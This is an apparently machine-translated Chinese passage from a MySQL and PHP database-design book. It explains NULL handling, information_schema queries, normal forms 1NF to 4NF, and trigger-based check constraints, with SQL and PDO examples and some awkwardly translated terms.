这种简化的方法根本不能很好地处理一个人是两个或更多子类型的成员(例如,既是仲裁者又是施主)。两个不同表中的两行数据几乎相同,这可能不违反任何范式,但这非常糟糕。相比之下,多表方法很好地处理了这一点,但是您必须确保连接(或者封装它们的视图)是精心设计的。
如果这一切看起来太复杂了,我会说直接把所有东西都放在一个表中。我对 CWA 数据库这样做了,虽然这个表非常宽(超过 100 列),但是使用它没有任何问题。所有这些未使用的列都浪费了空间,但这是一个非常小的应用,所以没关系。此外,我经常发现一个我认为只适用于捐赠者的属性(比如do_not_call
)实际上也适用于版主和小组成员,在这种情况下,我除了开始使用一个已经准备好并在等待的专栏之外,什么都不需要做。如果我使用多表方法,我可能会希望将列移动到person
表中,然后修改假设它在donor
表中的代码。
也就是说,大多数看我的person
表的人会说它格式不好,应该分开。不是因为他们熟悉应用和所有列的含义,而是因为超过 100 列的表很难闻。他们不会错的。
物理设计
首先,我将解释如何从 ER 图生成物理设计。然后我将讨论两个比逻辑设计更影响物理设计的复杂问题:空值和规范化。
从 ER 图到物理设计
我将列出将 ER 图转换为物理设计(表格、列等)的步骤。),尽管 MySQL Workbench 将两者混合在一起,在绘制 ER 图时就完成了大部分物理设计。比如画一个实体其实就是画一个表,你至少要有一个主键才能画任何连接线(关系),这就暴露了列编辑器。您可以决定推迟输入类型,直到 ER(逻辑)设计完成,您准备好进入物理设计,但是 MySQL Workbench 无论如何都会坚持提供默认类型。
尽管如此,即使 ER 设计工具在进行过程中创建了物理设计,解释一下如何从纸上绘制的纯 ER 图生成物理设计也是有用的。这些步骤不会是一个惊喜。我将简洁地陈述它们,没有例子;大多数复杂性(例如,代理键、外键和唯一约束)已经解释过了。
- 每个实体变成一个表。
- 每个属性成为一列。
- 对于多对多关系,构建一个新的实体来表示该关系,并将该关系重绘为两个一对多关系。(正如我所展示的,MySQL Workbench 坚持马上做这一步。)
- 如果您还没有为每个实体确定一个主键,那么请这样做。如果有必要,或者看起来合适的话,使用代理键。对于在步骤 3 中添加的任何实体,在步骤 5 之后决定主键,因为您将使用两个外键。
- 对于每个一对多关系,向“多”方添加一个外键,该外键引用“一”方的主键。除非这样做会导致重复的列名,否则将外键列命名为与其引用的主键相同。
- 为每个外键添加一个外键约束。
- 如果在第 4 步中引入了任何代理主键,则为其他候选键添加一个唯一约束,以避免除代理主键之外都相同的行。
- 检查除可选外键之外的每一列,看它是否可以声明为 not null,因为缺省的可为 null 是危险的。(参见“空值”一节)
- 检查每一张表,确保它处于第一、第二和第三范式。如有必要,重复步骤 1 到 8,以纠正任何规范化违规,除了您认为正常的第一范式违规。(参见“规范化”一节,我在那里解释了这个异常。)
- 添加检查约束,以确保所有数据都符合模型,并尽可能符合实际情况。(更多信息在“约束”一节中。))
- 根据需要添加索引以加快处理速度。所有主键和唯一约束都将被索引,但您可能需要更多的主键和唯一约束。最好推迟这一步,直到开发完应用并用真实数据加载数据库(可能来自转换),否则很难知道要索引什么。(索引除了提高性能之外,没有任何其他用途。)
空值
不幸的是,默认情况下,每个非键列都允许用 NULL 代替值,如果不插入值,NULL 也是默认的,所以大多数数据库到处都是 NULL。这是一个问题,因为在条件表达式中使用时它们的行为很奇怪:任何包含 NULL 的条件表达式都会产生未知值,这是第三个真值,还有 TRUE 和 FALSE。也就是说,SQL 中的条件是三值的,而不是像大多数编程语言那样是二值的。
当我说“任何条件表达式”时,我指的是任何。甚至表情
NULL = NULL
不是真的;未知。所有其他条件操作符也是如此。
一个常见的错误是假设 NULL 与 FALSE 相同,这在其他编程语言中很常见。但不是在 SQL 中,如下例所示:
select * from employee where salary < 5000
结果不会包括salary
列为空的任何人(可能工资还没有设置,或者员工是志愿者,或者输入员工数据的人不知道工资,打算以后再输入)。无论 NULL 的原因是什么,都不会包含该员工,因为NULL < 5000
不为真,这是包含在结果中的条件。
当我在 CWA 数据库工作时,那条空蛇咬了我。我有一些 BOOL 列来表示一个人是版主、捐赠者还是小组成员,并且我没有禁止空值。如果条目表单上没有选中这些复选框,我的 PHP 代码会将值默认为 NULL。我编写了一个select
语句来查找不是版主、捐赠者或参与者的人,如下:
select * from person where
not moderator and not donor and not panelist
结果集只有几行,这些行中的复选框已经被选中,然后又被取消选中,在这种情况下,我的程序确实为每一列输入了 0。但是从来没有任何值的列是空的,所以很多行都丢失了,包括所有的委员会成员、制作人和职员。
有几种方法可以解决这个问题。首先,可以修复 SQL。最直接的方法是使用coalesce
函数,它返回第一个非空的参数。在这里,我使用它实际上使 NULL 的行为类似于 FALSE:
mysql> select * from person where
-> not coalesce(moderator, false) and
-> not coalesce(donor, false) and
-> not coalesce(panelist, false);
+-----------+-------+-----------+-------+----------+
| person_id | last | moderator | donor | panelist |
+-----------+-------+-----------+-------+----------+
| 1 | Smith | NULL | NULL | NULL |
| 2 | Jones | 0 | 0 | 0 |
| 3 | Doe | NULL | NULL | NULL |
+-----------+-------+-----------+-------+----------+
这个结果是正确的:Smith、Jones 和 Doe 是三个不是主持人、捐赠者或小组成员的人。
但是最好通过使这些列不可为空来修复数据库,这是我在“从 er 图到物理设计”一节的步骤 8 中应该做的 NULL 表示“没有值”moderator
列可以解释为“已知是一个版主”,在这种情况下,如果不知道这个人是否是版主,那么 FALSE 是可以的。也就是说,代替create table
语句的是
moderator bool default null,
它应该说
moderator bool default 0 not null,
考虑 NULL 对于像middle_name
这样的列可能意味着的所有事情:值未知、值尚未输入、值不适用或者没有中间名。实际上,如果类型是varchar
,长度为零的字符串就和 NULL 一样好,没有 NULL 的任何问题。
数字列可能需要空值,因为0
不是一个好的占位符(它通常是一个有效值),类似于-1
的东西会造成混乱。
一个绝对需要 NULL 的地方是外键列为空,因为该行没有这种关系(例如,雇员不在任何部门)。由于外键约束,您不能输入像零这样的特殊值。数据库将只允许 NULL 或与约束中给定的主键匹配的值。
除了这些情况之外,空值是不需要的,并且应该被消除。不能将它设置为缺省值是很糟糕的,但是对数据库运行一个查询来报告所有可为 all 的列也差不多。我将向您展示如何做到这一点,主要是因为它给了我一个讨论information_schema
和子查询的借口。
每个 MySQL 安装(从版本 5 开始)的一部分information_schema
,保存每个表的结构数据。它在 MySQL 网站上有完整的文档,但是通过使用 MySQL Workbench 浏览,您可以很容易地找到它。您将很快看到columns
表,它保存了每一列的数据。特别是,columns
表的is_nullable
列告诉我们哪些列可以为空,如清单 4-4 所示。
清单 4-4 。mydb 架构中所有可空的列
mysql> select table_name, column_name from columns
-> where is_nullable = 'YES' and table_schema = 'mydb';
+------------+---------------+
| table_name | column_name |
+------------+---------------+
| employee | department_id |
| employee | first |
| employee | manager |
| employee | assistant |
| person | first |
| person | street |
| person | city |
| person | state |
| person | moderator |
| person | donor |
| person | panelist |
+------------+---------------+
为了改进查询,可以跳过外键但需要更复杂查询的列。作为外键的列可以通过连接table_constraints
和key_column
表来显示,如清单 4-5 所示。
清单 4-5 。mydb 模式中的外键列
mysql> select u.table_name, u.column_name
-> from table_constraints
-> join key_column_usage as u using(constraint_name)
-> where u.table_schema = 'mydb' and
-> constraint_type = 'foreign key';
+--------------------+---------------+
| table_name | column_name |
+--------------------+---------------+
| department | division_id |
| employee | manager |
| employee | assistant |
| employee | department_id |
| panel_has_panelist | panel_id |
| panel_has_panelist | panelist_id |
| person | city |
| person | state |
+--------------------+---------------+
现在,通过使外键查询成为可空列查询的相关子查询,可以将两个查询组合起来,如清单 4-6 所示,其中相关名称用粗体显示。
清单 4-6 。mydb 模式中非外键的可空列
mysql> select table_name, column_name from columns as col
-> where is_nullable = 'YES' and table_schema = 'mydb'
-> and column_name not in (
-> select u.column_name
-> from table_constraints
-> join key_column_usage as u using(constraint_name)
-> where u.table_schema = 'mydb' and
-> u.table_name = col .table_name and
-> constraint_type = 'foreign key'
-> );
+------------+-------------+
| table_name | column_name |
+------------+-------------+
| employee | first |
| person | first |
| person | street |
| person | moderator |
| person | donor |
| person | panelist |
+------------+-------------+
事情是这样的:我只想要外部查询中不在外键集中的列名(在columns
表上)。该集合由内部查询在in
函数中动态生成。它与清单 4-5 中的查询几乎相同,除了只包含列名,不包含表名,并且在where
子句中添加了另一个条件,以根据columns
表中的表名测试key_column_usage
表中的表名。
u.table_name = col .table_name
columns
表不直接参与内部查询(它不是连接的表之一),但是它的别名col
仍然可以在条件中使用。这就是为什么它被称为相关子查询:从外部查询中引用别名将两个查询相关联。
我之前建议你阅读 Clare Churcher (Apress,2008)的开始 SQL 查询。当你阅读她对嵌套查询的看法时,你可能已经有了清单 4-6 中所示的查询。大多数其他 SQL 入门书籍也讨论了它们。(值得学习一下。难道您不想和您的朋友一起喝一杯,并以某种方式参与到您那天下午编写了相关子查询的对话中吗?我知道我会的。)
但是我已经偏离了本节的要点,即找出不是外键的可空列,并尽可能使它们成为not null
。对于清单 4-6 中的六个可空列,这很容易做到。我已经说过moderator
、donor
和panelist
应该是not null
,因为假和空一样有效。这同样适用于varchar
列、两个first
列和street
列:空字符串也可以。
从数据库中删除可空列,你会更开心。
归一化
每本关于数据库的书都至少列出了前三种范式,有些列出了一种称为 Boyce-Codd 范式的无编号范式,有些提到了第五种范式,至少有一本提到了新的第六种范式。如果您遵循这些规则,所有这些规则将使您的数据库设计更好。
我在这里做的是给出我自己的第一范式的版本(你会明白为什么我不确定)。我一起讨论第二范式和第三范式,因为它们在意义上非常接近,我甚至通过解释第四范式超越了大多数数据库书籍。
其他的我就不多说了,但是如果你想的话,你可以看看。你的第一选择可能是一篇很容易在网上找到的论文,威廉·肯特的《关系数据库理论中五种范式的简单指南》。它既易于阅读,又数学精确。
第一范式(1NF)
与其他范式不同,1NF 不是为了改进设计,而是关于关系数据库的一般陈述:一列中的所有值必须包含原子值,而不是例如数组、集合或关系。或者,换句话说,所有行必须有相同的列数。
既然创建一个不在 1NF 中的表是不可能的,为什么它被谈论得这么多?这是因为自从 1NF 被引入以来,它已经发展了几十年,意思是数学上的,如果不是实际上的,一个不同的问题:表格的列不应该形成一个水平列表。要了解为什么会这样,请查看这个表,从技术上讲,它在 1NF 中。
+---------------+------------+-----------+-----------+-----------+
| department_id | name | employee1 | employee2 | employee3 |
+---------------+------------+-----------+-----------+-----------+
| 1 | Accounting | 1 | 4 | 5 |
| 2 | Shipping | 2 | NULL | NULL |
| 3 | Sales | 3 | 6 | NULL |
+---------------+------------+-----------+-----------+-----------+
很明显,这里的想法是通过在每一行中列出员工来表示部门中的员工,但是这样做的问题是显而易见的。
- 只允许三名员工。由于可能没有固定的上限,随着部门的扩大,必须添加更多的列。当添加更多数据时修改模式是一个糟糕的主意。
- 在 SQL 中处理雇员是很尴尬的,因为必须明确地提到列(现在是三列,但是还在增加)。例如,对于每个雇员列,您必须将 department 表与 employee 表连接一次,以得到一个非常宽、非常混乱的结果表,其中包含所有的雇员数据。
如果您仔细构建了您的 ER 模型,就永远不会创建这样的表,因为您会看到 employee 是一个实体,并且您会在部门和雇员之间建立一对多的关系,如我在前面的示例中所示。即使您最终得到了一个包含多个雇员列的表,您也会很快发现这有多尴尬并解决它。所以 1NF 不是你应该担心的事情。当你不跟随它的时候你会知道它。
或者,也许不是。下面这张表呢:
+-------+-------+--------------+--------------+--------------+
| last | first | home phone | work phone | mobile phone |
+-------+-------+--------------+--------------+--------------+
| Smith | John | 303-111-2222 | 303-888-4321 | 303-987-1234 |
+-------+-------+--------------+--------------+--------------+
| Jones | Mary | 303-456-9876 | NULL | NULL |
+-------+-------+--------------+--------------+--------------+
| Doe | Joe | 303-098-3456 | 720-234-1122 | NULL |
+-------+-------+--------------+--------------+--------------+
这三个电话号码组成一个列表吗?看起来是这样,但不同的是,这些数字有不同的作用(家庭、工作、移动),而以前员工列表只是一个列表,哪个员工是哪个并不重要。但是,不同的角色不会妨碍将电话号码移动到它们自己的表中,因为该表中的一列可以用于该角色。
将电话号码移动到它们自己的表中使得phone
成为一个实体,并且在需要电话号码的任何时候都需要加入。此外,这样的连接可能会为每个人创建多达三个结果集行,每个数字一行,这在应用中处理起来比每个人一行要复杂得多,而现在表中只有一行。
消除电话号码列表值得吗?没有放之四海而皆准的答案,但在大多数情况下我不会这么做。如果列表中的元素数量很少(在本例中只有三个)并且稳定(不太可能超过三个),并且电话号码不参与连接或where
子句,那么我很想让电话号码保持原样。但是如果你认为他们应该在他们自己的桌子上,你没有错。
只是延伸一下这个论点,尽可能的烦人,前两栏呢?他们不也是名单吗?我没有在这里展示它,但是中间名的列是很常见的。然而,几乎没有设计师会认为名字的三列是一个需要解决的问题。这是真的,尽管列名(名字、中间名、姓氏)比电话列更像是一个列表。正如 Chris Date 在本章开头的引言中所说,数据库设计“主要是一种艺术努力”
明确一点:如果您对 1NF 的理解是它意味着“没有重复列”,那么您将是大多数人。这不是最初的提法,但这就是它的含义。
第二和第三范式(2NF 和 3NF)
这两条规则几乎一样,所以我将它们放在一起讨论。他们所说的本质上是这样的:所有的列都应该依赖于整个主键,而不是其他。否则,表格可能包含冗余数据,这可能导致不一致。与 1NF 不同,2NF 和 3NF 不是您应该违反的规则。
以下表为例:
+----------+-------+-------------+----------+
| city | state | mayor | governor |
+----------+-------+-------------+----------+
| Akron | OH | Plusquellic | Kasich |
| Columbus | IN | Brown | Pence |
| Columbus | OH | Coleman | Kasich |
+----------+-------+-------------+----------+
主键是(city, state)
。调控器的名称只取决于州,而州只是键的一部分,所以表不在 2NF 中。事实上,一项快速研究表明了问题所在:卡西奇是俄亥俄州州长的事实被重复了一遍。如果选举了新的调控器,有两行需要更新以保持表的一致性。如果不一致,获得显示谁是调控者的结果将取决于查询是如何形成的,一些查询甚至可能同时产生两个不同的答案。不好。
这里还有另一个问题:如果我们删除哥伦布所在的行,比如说,因为我们关闭了那里的分支机构,我们还会丢失 Pence 是 IN 的州长这一事实。
要修复这些问题,必须将governor
列移动到一个表中,其中只有state
是主键。因为主键只能出现一次,所以在那个表中 Kasich 只能出现一次。
这两种范式放在一起讨论,因为 3NF 几乎是相同的,除了它是关于一个非键列,如在这个表中,显示了服务于一个城市的主要航空公司以及预订号码(不要打电话,这些号码是真实的)。
+----------+-------+---------+--------------+
| city | state | airline | phone |
+----------+-------+---------+--------------+
| Akron | OH | United | 800-864-8331 |
| Columbus | IN | Delta | 800-221-1212 |
| Columbus | OH | United | 800-864-8331 |
+----------+-------+---------+--------------+
这个问题类似于前面的问题:电话号码取决于航空公司,而不是主键,主键也是(city, state)
。如果数量发生变化,有两个地方需要更新。如果哥伦布去了,达美航空的电话号码也没了。
我从来不会去区分 2NF 和 3NF。实际上,由于我在一个表中几乎从来没有一个带有其他属性的组合键,所以违反 2NF 在我的数据库中不是问题。
这里有一个避免 2NF/3NF 麻烦的更简单的方法:确保每个事实只被表示一次。
顺便说一下,解决航空公司问题的方法是将电话号码移到airline
表中,如果还没有这个表,就创建这个表。回想一下,我之前说过选择实体是数据库设计最重要的方面。一旦有了正确的实体,确定将每个事实(即每列)放在哪里就很容易了:它会进入与它相关的实体的表中。
第四范式(4NF)
第四范式认为一个表不应该包含两个或更多独立的多值事实。和往常一样,最好用一个例子来说明。假设您有一个主键为employee_id
的employee
表,并且您想要记录每个员工使用过的所有操作系统以及他或她知道什么编程语言。由于一个员工可能有不止一个操作系统和不止一种语言,这些事实是多值的。此外,操作系统和语言是独立于 ?? 的。所以 4NF 说,你不能把操作系统和语言放在同一个表中。真的吗?这看起来确实是个好主意,有一个像清单 4-7 中所示的表格。
清单 4-7 。具有两个多值独立列的技能表
+-------------+---------+----------+
| employee_id | os | language |
+-------------+---------+----------+
| 1 | Linux | SQL |
| 1 | MacOS | PHP |
| 1 | Windows | |
| 2 | Linux | C++ |
| 2 | Windows | Java |
| 2 | | Lua |
| 2 | | SQL |
| 2 | | PHP |
| 2 | | Python |
+-------------+---------+----------+
注意os
和language
列是独立的;不是说员工 1 懂 Linux 上的 SQL,只是说他(她)懂 SQL,用过 Linux。这两个数据项在同一行上只是为了填充表格。主键是(employee_id, os, language)
,按照要求,它在各行中是唯一的。
那么,有什么问题吗?而是有很多方法可以把同样的事实摆在桌面上。例如,清单 4-8 中的变体非常不同,但包含完全相同的冗余信息。
清单 4-8 。具有两个多值独立列的技能表
+-------------+---------+----------+
| employee_id | os | language |
+-------------+---------+----------+
| 1 | Linux | SQL |
| 1 | MacOS | PHP |
| 1 | Windows | SQL |
| 2 | | C++ |
| 2 | Windows | SQL |
| 2 | Linux | Java |
| 2 | | Lua |
| 2 | | SQL |
| 2 | Windows | PHP |
| 2 | Windows | Python |
+-------------+---------+----------+
正如《精神病黑仔》中的“会说话的人”所唱的:“说一次,为什么要说第二次?”
在清单 4-8 中,与清单 4-7 相比,OS 与语言的巧合配对不同,有些 OS 重复,有些语言重复。因为所有列都是主键的一部分,并且没有水平列表,所以表的格式是 1NF、2NF 和 3NF。然而,清单 4-8 有冗余。如果雇员 2 忘记了他或她的所有 SQL,则有两行需要更新。如果他或她开始使用 Mac OS,不清楚是将该事实放入现有行,还是放入两个现有行,或者添加一个新行。所有这些都是有效的,表仍然在 1NF、2NF 和 3NF 中。更糟糕的是,不完全熟悉这个表格的人可能会认为它说雇员 2 懂 Windows 上的 PHP,但不懂 Linux。或者他或她知道 Windows 上的 SQL 或者根本不知道 OS 上的 SQL,但是不知道 Linux 上的 SQL,这是愚蠢的。
简而言之,表中充满了怪异的问题,不能认为是良构的。由于多值列是独立的,它们需要在自己的表中,一个叫做os
,一个叫做language
,如清单 4-9 所示。
清单 4-9 。独立表中的多值独立列
+-------------+---------+
| employee_id | os |
+-------------+---------+
| 1 | Linux |
| 1 | Mac OS |
| 1 | Windows |
| 2 | Linux |
| 2 | Windows |
+-------------+---------+
+-------------+----------+
| employee_id | language |
+-------------+----------+
| 1 | SQL |
| 1 | PHP |
| 2 | C++ |
| 2 | Java |
| 2 | Lua |
| 2 | SQL |
| 2 | PHP |
| 2 | Python |
+-------------+----------+
现在,事实只能放在一个地方,没有冗余,因为在每个表中,两列都构成主键,主键总是唯一的。
很少有数据库设计人员关心 4NF,您也没有理由这样做。如果您曾经创建了一个不在 4NF 的表,您可能会意识到更新它涉及到数据应该去哪里的一些不确定性,然后您可以修复这个问题。
限制
默认情况下,一个 MySQL 表根本不需要有任何关于什么数据进入其中的规则,只要每个值适合列的类型,如果列有字符类型,几乎任何东西都可以。您不必有主键或任何键,并且可以有重复的行。你有一张桌子,但是你没有亲戚。(所有关系都有一个主键,这意味着不能有重复的行。)不过,对于你的数据库来说,你并不想生活在蛮荒的西部。你想要一些法律和秩序。
MySQL 约束
从用 MySQL Workbench 绘制的 ER 图构造的表确实有一些规则,称为约束:有一个主键,它是唯一的,也有外键约束,它防止被引用行被删除,直到引用行被首先删除(或引用被更改),以防止悬空引用。
此外,我说过您可以声明一个或多个列是惟一的,如果有一个您不想作为主键的自然键,您会这样做。在这种情况下,您可能希望将候选(自然)键约束为惟一的,在create table
语句中有如下内容:
unique index unique_name (last, first)
我还强调了制作尽可能多的专栏的重要性。
所以,我已经提到的约束是
- 主关键字
- 外键(参照完整性)
- 独一无二的
- 不为空
SQL 定义了一个检查约束,它允许您为列指定一个条件,以更广泛地检查输入的数据,而不仅仅是不为空、唯一或引用一个主键。例如,如果一个表有一个office
列,您可以编写如下代码:
check (office in ('DALLAS', 'BOSTON', 'PARIS', 'TOKYO'))
不幸的是,MySQL 没有检查约束。但是在版本 5 中,它确实有触发器,而且它们几乎可以同样有效地用来验证数据。
您可能想知道为什么要在数据库中检查数据,因为所有输入的数据都要通过您的 PHP 应用,您可以在那里检查数据。我的想法是,数据库不仅应该负责存储数据模型,还应该负责确保其完整性。这样,无论数据是如何进入的,即使是直接通过 MySQL Workbench 或其他实用程序,检查都会进行。甚至一个 PHP 应用也可能有多种方式将数据放入数据库:表单、转换程序或来自另一个系统的数据提要,可能是另一个应用或像 UPC 扫描仪这样的设备(杂货店收银台用来读取条形码的设备)。如果您将验证放在数据库中,您知道没有任何无效数据可以进入。
将约束放在数据库中的另一个优点是组织性的:它将更多的工作交给团队中负责数据库的任何人,因为一旦设计好了,除了随着需求的增加做一些修改之外,就没有更多的事情要做了。添加约束使工作变得更大,减轻了其他忙于完成应用的开发人员的工作。集中约束也使得它们更有可能被强制执行,而不是依赖于每个团队成员理解与他或她项目部分相关的所有约束。
MySQL 触发器的约束
MySQL 触发器是在对表进行插入、更新或删除之前或之后执行的操作,这意味着一个表最多可以有六个触发器。您用 SQL 编写操作代码。
例如,假设您有一个包含几列的manager
表,其中包括一个名为office
的列,并且您希望记录每次插入。这里有一个你可以使用的触发器。
delimiter @
create trigger manager_trigger
before insert on manager
for each row begin
insert into log
set msg = concat('insert ', new.office);
end;
@
delimiter
语句不是创建触发器的 SQL 的一部分,但它对mysql
命令和 MySQL Workbench 的脚本部分很重要,因为create trigger
语句包含一个分号(在倒数第三行的末尾),这是默认的语句分隔符。所以改成了@
,允许分号作为普通字符处理。
另一个有趣的语法是concat
函数的第二个参数中的限定符new
。如果触发器是为了更新,那么对于office
,将会有两个感兴趣的值:旧值和新值;old
和new
限定符表示您想要哪个。对于插入触发器,只有新值,但仍然需要限定符。
该触发器在对manager
表的任何插入之前执行,它导致对log
表的插入。通过执行插入,您可以看到这一点。
insert into manager
(last, first, office)
values ('Smith', 'John', 'TOKYO');
经理表现在包含
+-------+-------+--------+
| last | first | office |
+-------+-------+--------+
| Smith | John | TOKYO |
+-------+-------+--------+
并且插入导致日志表包含
+--------+---------------------+--------------+
| log_id | datetime | msg |
+--------+---------------------+--------------+
| 2 | 2013-05-08 12:55:21 | insert TOKYO |
+--------+---------------------+--------------+
我想指出一些奇怪的行为,因为几个月前的大部分时间里,它让我相当困惑。假设您忘记在office
前输入new
,导致触发器出错。
delimiter @
create trigger manager_trigger
before insert on manager
for each row begin
insert into log
set msg = concat('insert ', office);
end;
@
MySQL 将允许您创建触发器,但在触发器执行之前不会检查错误的引用。现在假设您尝试一个完全有效的插入。
insert into manager
(last, first, office)
values ('Jones', 'Mary', 'PARIS');
您会得到以下错误消息:
Error Code: 1054\. Unknown column 'office' in 'field list'
花尽可能多的时间盯着insert
语句,看看为什么office
是未知的,看看表定义,尝试用其他方式来表达它,改变数据,无论如何,你永远不会找到错误的来源,因为它在触发器中,而被引用的字段列表在触发器中,而不是在你正在看的插入中。就我而言,我在几周前就已经创建了触发器,并且已经忘记了它们。(明年 4 月 1 日,你可能会在同事身上试用,但请不要说你是在这里读到的。)
像这样设置自动日志记录实际上是有用的,您可能想要这样做,但是我们感兴趣的是约束。为此,你用 MySQL 的过程语言写一些代码,它没有名字,但是基于 ANSI 标准的 SQL/PSM(持久存储模块)规范。关于这种语言最好的入门书籍是 Guy Harrison 和 Steven Feuerstein 的《MySQL 存储过程编程》( O'Reilly Media,2006)。
这种语言有编程语言通常会有的条件和流控制语句,但是数据验证只需要很少的一部分。下面是如何更改触发器来完成上一节中 check 约束所做的事情。
delimiter @
create trigger manager_trigger
before insert on manager
for each row begin
if new.office not in
('DALLAS', 'BOSTON', 'PARIS', 'TOKYO') then
-- generate an error
end if;
end;
@
但是我们如何产生一个错误呢?MySQL 程序员过去常常通过执行非法操作来生成一个错误,例如更新一个不存在的表,该表的名称是由错误消息形成的,从而得到如下错误:
Error Code: 1146\. Table 'mydb.ERROR: bad office' doesn't exist
然后,他们会对错误消息进行一些模式匹配,解析出“错误:坏办公室”部分。
但是现在,在 5.5 版本中,MySQL 有了signal
语句,因此触发器可以编码如下:
delimiter @
create trigger manager_trigger
before insert on manager
for each row begin
if new.office not in
('DALLAS', 'BOSTON', 'PARIS', 'TOKYO') then
signal SQLSTATE value 'CK001'
set MESSAGE_TEXT = 'Invalid OFFICE value.';
end if;
end;
@
SQLSTATE 可以保存五个字符的字符串。所有内置的都是数字,所以如果你让你的以非数字开始,就不会有任何冲突。
关于 PHP 和 MySQL 的接口我还没有说太多(更多在第五章,但是我现在将给出一个例子来说明不仅信号会导致 MySQL 错误,而且 MySQL 的 PDO 接口会抛出一个异常,所以这个错误很容易被 PHP 捕获。清单 4-10 显示了一个试图插入无效数据的程序(office
列中的“巨石”)。insert
以粗体显示。
清单 4-10 。插入无效数据会触发错误
define('DB_HOST', 'localhost');
define('DB_PORT', '3306');
define('DB_NAME', 'mydb');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', '...');
try {
$dsn = 'mysql:host=' . DB_HOST . ';port=' . DB_PORT .
';dbname=' . DB_NAME . ';charset=utf8';
$pdo = new PDO($dsn, DB_USERNAME, DB_PASSWORD);
$pdo->setAttribute(PDO::ATTR_ERRMODE,
PDO::ERRMODE_EXCEPTION);
$pdo->query("insert into manager set office = 'BOULDER'");
}
catch (PDOException $e) {
die(htmlspecialchars($e->getMessage()));
}
注意,我设置了 PDO 属性PDO::ERRMODE_EXCEPTION
,这样任何错误都会引发异常。这是你应该经常使用的 PDO 界面的一个有价值的特性,但是,不幸的是,它在默认情况下是禁用的。还要注意异常处理程序中的函数htmlspecialchars
,因为 MySQL 错误消息往往包含尖括号和其他特殊字符。
当我运行该程序时,我在屏幕上看到以下内容:
SQLSTATE[CK001]: <<Unknown error>>: 1644 Invalid OFFICE value.
我喜欢将这个约束实现为触发器,因为它在数据库内部,所以这个或任何 PHP 程序都会自动得到错误。正如我之前所说,数据模型约束属于数据库,而不是应用。
当然,对更新进行同样的约束也很重要。这可以通过另一个触发器来完成(注意,它现在显示的是before update
)。
delimiter @
create trigger manager_trigger
before update on manager
for each row begin
if new.office not in
('DALLAS', 'BOSTON', 'PARIS', 'TOKYO') then
signal SQLSTATE value 'CK001'
set MESSAGE_TEXT = 'Invalid OFFICE value.';
end if;
end;
@
但是,正如拥有冗余数据不是一个好主意一样,对约束进行两次编码也不是一个好主意。不幸的是,没有 MySQL 语法像
before update or insert on manager
所以你需要两个完全独立的触发器。
好吧,程序员怎么把常用代码合并,这样就不用写两遍了?有了程序,就是这样。MySQL 代码也是如此——我将定义一个过程并从两个触发器中调用它,如清单 4-11 所示。
清单 4-11 。两个触发器调用同一个过程(不起作用)
delimiter @
create procedure check_manager() begin
if new.office not in
('DALLAS', 'BOSTON', 'PARIS', 'TOKYO') then
signal SQLSTATE value 'CK001'
set MESSAGE_TEXT = 'Invalid OFFICE value.';
end if;
end;
@
create trigger manager_trigger_update
before update on manager
for each row call check_manager;
@
create trigger manager_trigger_insert
before insert on manager
for each row call check_manager;
@
当我试图更新经理表时,我得到以下结果:
Error Code: 1109\. Unknown table 'new' in field list
问题是限定符old
和new
允许在触发器中使用,但不允许在过程中使用,即使这些过程是从触发器中调用的。因此,有必要传入new.office
的值,因为该过程没有其他方法来获取列数据。事实上,所有的列都应该被传入,这样过程就可以访问整行,允许在一个过程中对表的所有约束进行编码。
清单 4-12 显示了修改后的代码,现在可以工作了。
清单 4-12 。两个触发器调用同一个过程(有效)
delimiter @
create procedure check_manager(last varchar(45),
first varchar(45), office varchar(45))
begin
if office not in
('DALLAS', 'BOSTON', 'PARIS', 'TOKYO') then
signal SQLSTATE value 'CK001'
set MESSAGE_TEXT = 'Invalid OFFICE value.';
end if;
end;
@
create trigger manager_trigger_update
before update on manager
for each row call check_manager(new.last, new.first, new.office);
@
create trigger manager_trigger_insert
before insert on manager
for each row call check_manager(new.last, new.first, new.office);
@
我喜欢将每个表的所有约束代码放入它自己的过程中,但我不喜欢的是必须将参数列表写出三次,包括将所有类型写对。这意味着每当我修改一个表时,我都必须调整触发器和约束过程。此外,我的一些 CWA 表有很多列,甚至第一次写出参数列表也很痛苦。真的,我宁愿花四个小时写代码,也不愿花四分钟打一些无聊的东西。
所以,我就是我,本质上是一个工具铁匠,我决定自动写出参数列表,因为它都在information_schema
中,我已经在“Nulls”一节中展示过了。
我将一点一点地构建 PHP 程序。清单 4-13 显示了依赖函数add_triggers
来创建插入和更新触发器以及它们调用的过程的主要部分。
清单 4-13 。代码调用add_triggers
来添加触发器和过程
define('DB_HOST', 'localhost');
define('DB_PORT', '3306');
define('DB_NAME', 'mydb');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', '...');
try {
$dsn = 'mysql:host=' . DB_HOST . ';port=' . DB_PORT .
';dbname=' . DB_NAME . ';charset=utf8';
$pdo = new PDO($dsn, DB_USERNAME, DB_PASSWORD);
$pdo->setAttribute(PDO::ATTR_ERRMODE,
PDO::ERRMODE_EXCEPTION);
add_triggers($pdo, 'manager', "
if office not in
('DALLAS', 'BOSTON', 'PARIS', 'TOKYO') then
signal SQLSTATE value 'CK001'
set MESSAGE_TEXT = 'Invalid OFFICE value.';
end if;
");
}
catch (PDOException $e) {
die(htmlspecialchars($e->getMessage()));
}
注意,add_triggers
的第三个参数是将在过程内部结束的检查约束。它是从清单 4-12 中的代码复制而来的。
使用information_schema
总是需要一些研究和实验,但是之后我想出了这个查询来列出一个表的列和它们的类型。
mysql> select column_name, column_type
-> from information_schema.columns
-> where table_schema = 'mydb' and
-> table_name = 'manager';
+-------------+-------------+
| column_name | column_type |
+-------------+-------------+
| last | varchar(45) |
| first | varchar(45) |
| office | varchar(45) |
+-------------+-------------+
清单 4-14 显示了初始的add_triggers
函数,它只显示了列的逗号分隔列表($cols
)和另一个列及其类型的逗号分隔列表($parms
)。
清单 4-14 。初始add_triggers
功能
function add_triggers($pdo, $table, $sql) {
$stmt = $pdo->prepare('select column_name, column_type
from information_schema.columns
where table_schema = :dbname and table_name = :table');
$stmt->execute(array('dbname' => DB_NAME, 'table' => $table));
$cols = $parms = '';
while ($row = $stmt->fetch()) {
$cols .= ", new.{$row['column_name']}";
$parms .= ", {$row['column_name']} {$row['column_type']}";
}
$cols = substr($cols, 2); // extra ", " at front
$parms = substr($parms, 2);
echo "<p>$cols";
echo "<p>$parms";
}
这是输出。
new.last, new.first, new.office
last varchar(45), first varchar(45), office varchar(45)
下一步是获取这两个列表($cols
和$parms
)并构建create trigger
和create procedure
